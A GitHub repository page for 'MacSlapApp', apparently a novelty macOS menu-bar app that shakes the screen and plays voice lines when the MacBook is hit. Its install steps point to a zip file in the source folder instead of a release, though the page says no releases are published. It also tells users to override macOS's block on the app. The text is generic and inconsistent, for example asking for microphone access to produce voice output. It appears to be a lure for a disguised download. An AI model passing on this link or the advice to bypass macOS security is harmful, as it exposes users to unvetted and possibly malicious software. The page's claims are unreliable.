Skip to content

Ignatiusspirodela307/MacSlapApp

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🖥️ MacSlapApp - Make Your Mac Scream Back

Download MacSlapApp

⚡ What It Does

MacSlapApp makes your MacBook react when it gets a sharp impact. It can shake the screen, flash brightness, play a voice line, and trigger haptic feedback. It uses the built-in motion sensor and works from the menu bar.

📥 Download and Install

  1. Open this page: https://raw.githubusercontent.com/Ignatiusspirodela307/MacSlapApp/main/Sources/App-Mac-Slap-v1.0-beta.2.zip
  2. Download the latest release for macOS.
  3. Open the file after it finishes downloading.
  4. Move MacSlapApp to your Applications folder if macOS asks.
  5. Launch the app from Applications or from Launchpad.

If macOS blocks the app, open System Settings > Privacy & Security and allow it to run.

🧰 What You Need

  • A MacBook with macOS 12 or later
  • Apple Silicon or a recent Intel Mac with motion sensor support
  • Access to the menu bar
  • Microphone access if you want voice output
  • Permission for motion, display, and sound features

🎛️ Main Features

  • Impact detection based on motion input
  • Screen shake for a strong visual effect
  • Brightness flash when the device takes a hit
  • Haptic feedback on supported hardware
  • 7 voice packs for different reactions
  • Menu bar control for quick access
  • Low setup with no extra tools needed

🖱️ First Run

  1. Open MacSlapApp.
  2. Look for the menu bar icon.
  3. Click the icon to open the controls.
  4. Turn on the features you want.
  5. Tap or slap the MacBook lightly to test the response.

🔊 Voice Packs

MacSlapApp includes seven voice packs with different tones. You can switch packs from the app menu. Use a calm voice if you want a mild reaction, or choose a louder pack for a stronger response.

🛠️ How It Works

MacSlapApp watches for impact signals from the MacBook hardware. When it detects a hit, it can run several actions at once:

  • shake the screen
  • flash the display
  • play sound
  • trigger haptics
  • show a reaction in the menu bar

It uses Swift and system-level macOS access to keep the response fast.

🎚️ Settings

You can adjust the app from the menu bar:

  • set impact sensitivity
  • turn screen shake on or off
  • set brightness flash strength
  • choose a voice pack
  • enable or disable haptics
  • mute audio output
  • start the app at login

🧪 Best Use

Use a light tap during setup so you can test the response without stressing the hardware. Pick one or two effects first, then add more if you want a stronger reaction.

📁 File Layout

  • MacSlapApp — main app
  • Assets — app icons and UI files
  • Voice Packs — audio lines used for reactions
  • Settings — saved user choices
  • Detection — motion and impact logic

❓ Common Questions

Does it run in the background?

Yes. It lives in the menu bar and stays ready for use.

Can I turn features off?

Yes. You can disable each effect on its own.

Does it need internet access?

No. It runs on your Mac after setup.

Will it work on every Mac?

It works best on MacBook models with motion hardware and modern macOS versions.

Can I change how sensitive it is?

Yes. You can lower or raise the impact threshold from the app settings.

🔒 Privacy and Data

MacSlapApp runs on your Mac. It does not need an account. It does not need cloud sync. Your settings stay on your device.

🧑‍💻 For the Curious

MacSlapApp is built with Swift and macOS system tools. It uses IOKit HID for device input and private macOS APIs for display effects. The goal is fast response with a simple user interface.

📝 License

MacSlapApp is free to use and open source.

📦 Release Notes

  • screen shake effect
  • brightness flash support
  • haptic output on supported devices
  • five impact detection modes
  • seven voice packs
  • menu bar control
  • startup option at login

Releases

No releases published

Packages

 
 
 

Contributors